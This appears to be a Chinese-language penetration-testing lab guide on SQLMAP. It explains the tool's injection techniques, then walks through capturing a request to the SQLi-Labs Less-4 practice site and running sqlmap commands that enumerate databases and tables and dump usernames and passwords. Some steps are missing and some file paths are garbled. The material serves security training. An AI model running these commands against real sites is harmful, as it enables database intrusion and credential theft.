SQLMAP的基本功能包括:判断可注入的参数、判断可以使用哪一种SQL注入技术进行注入、判断识别数据库的类型以及根据用户的选择从数据库中读取数据。SQLMAP支持的注入技术包括以下五种:
(1)基于布尔的盲注:根据返回页面判断条件真假的注入。
(2)基于时间的盲注:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错的注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
(4)基于联合查询的注入:可以使用UNION的情况下的注入。
(5)堆查询注入:同时执行多条语句的注入。
SQLMAP支持的数据库类型主要包括一些关系型数据库(RMDBS),如 MySQL.
Oracle、PostgreSQL.Microsoft SQL Server.Microsoft Access.IBM DB2、SQLite、
Firebird、Sybase、SAP MaxDB、Informix、HSQLDB等。
1.访问SQLi-Labs 网站在攻击机 Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs 上的
SQLi-Labs 网站Less-4。访问的URL为:
http://[靶机 IP]/sqli-labs/Less-4/(注意大小写)
2.利用Burpsuite工具抓包
(1)启动 Burpsuite
在攻击机 Pentest-Atk的桌面文件夹Burp中,鼠标左键双击BURP.cmd程序,
启动Burpsuite。
(6)保存此HTTP请求包
在 Burpsuite 的 Proxy->Intercept界面下选中刚刚拦截到的HTTP请求报文的全部内容,单击鼠标右键,在弹出的菜单中选择copy,将请求包的内容拷贝至文
本文档a.txt 中,并保存至C盘根目录。
5.获取所有数据库的库名
(1)使用以下命令获取所有数据库的库名:
python sqlmap.py -r c: la.txt --dbs
(2)使用以下命令获取网站当前所在数据库的库名:
python sqlmap.py -r c: la.txt --current-db
6.获取security数据库中所有的表名
使用以下命令获取security数据库中所有的表名:
python sqlmap.py -r c: \a.txt -D security --tables
7.获取users表的全部字段名
使用以下命令获取users表的全部字段名:
python sqlmap.py -r c: la.txt -D security -T users --columns
8.获取users表id、 username和 password字段的全部值
使用以下命令获取users表id.username和 password字段的全部值:
python sqlmap.py -r C:la.txt -D security -T users -C id,username,password --dump